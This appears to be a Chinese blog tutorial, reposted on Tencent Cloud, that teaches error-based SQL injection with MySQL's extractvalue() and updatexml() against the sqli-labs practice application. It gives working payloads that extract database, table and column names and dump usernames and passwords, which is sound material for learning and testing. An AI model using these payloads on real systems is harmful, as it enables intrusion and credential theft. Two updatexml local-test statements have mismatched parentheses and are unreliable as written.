前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >学习extractvalue()、updatexml()报错注入

学习extractvalue()、updatexml()报错注入

作者头像
ly0n
发布2020-11-04 10:51:31
5.4K0
发布2020-11-04 10:51:31
举报
文章被收录于专栏:ly0nly0n

extractvalue()

函数简介

对XML文档进行查询的函数

相当于我们熟悉的html 文件中使用的

代码语言:javascript
复制
<dir> <p> <a>

语法

extractvalue(目标xml文档,xml路径)

函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。

如果是正常的格式,即查询不到也不会报错,下面进行测试

本地测试

构造正常格式的sql语句

代码语言:javascript
复制
select extractvalue(1,concat('/',(select database())));

结果既没数据返回也没有报错

接下里我们开始构造非法格式的sql语句,看看我们能够得到什么信息

正常格式为/xx/xx/,所以我们非法格式可以尝试 \ , ~ 来使sql语句变成非法格式。

代码语言:javascript
复制
select extractvalue(1,concat(0x5c,(select database())));

0x5c (‘\),还可以使用0x7e (~)

发现返回了非法内容,而且返回的是我们非法查询的内容。

深入了解

sqli-labs-less11

打开关卡看到一个登录页面

尝试输入 admin’ # 不输密码登录成功,看到登录用户为admin

然后在构造admin’ and 1=1# 登录正常

再构造admin’ and 1=2# 出现报错

可以得到存在报错注入,开始注入,上extractvalue

爆数据库payload

代码语言:javascript
复制
admin' and extractvalue(1,concat(0x5c,(select database())))#

得到数据库

爆表名payload

代码语言:javascript
复制
admin' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#

爆列名payload

代码语言:javascript
复制
admin' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users')))#

爆字段数据payload

代码语言:javascript
复制
admin' and extractvalue(1,concat(0x5c,( select group_concat(username,0x3a,password) from users)))#

updatexml()

函数简介

updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。

语法

updatexml(目标xml文档,xml路径,更新的内容)

和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。

本地测试

可以构造合法的sql查询语句

代码语言:javascript
复制
select (updatexml('/',(select database(),'/')));

可以得到正常回显/ ,是因为我们的函数更新内容填的是’/

然后我们构造非法格式的内容,进行查询。

代码语言:javascript
复制
select updatexml(0x5c,(select database())),0x5c);

可以得到更新后的结果,得到数据库

深入了解

sqli-labs-less17

通过题目名称可以知道是关于updatexml的更新报错注入

经过测试发现注入点再password处

构造payload爆库名

代码语言:javascript
复制
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

得到库名

构造payload爆表名

代码语言:javascript
复制
1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5c),1)#

构造payload爆列名

代码语言:javascript
复制
1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x5c),1)#

爆字段

代码语言:javascript
复制
1' and updatexml(1,concat(0x5c,(select group_concat(username) from users ),0x5c),1)#

总结

这两个函数都是对XML文档进行操作,通过构造非法格式的内容使得函数不能正常执行,通过报错或更新将我们的非法查询的内容回显出来。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • extractvalue()
    • 函数简介
      • 语法
        • 本地测试
          • 深入了解
          • updatexml()
            • 函数简介
              • 语法
                • 本地测试
                  • 深入了解
                  • 总结
                  相关产品与服务
                  数据库
                  云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档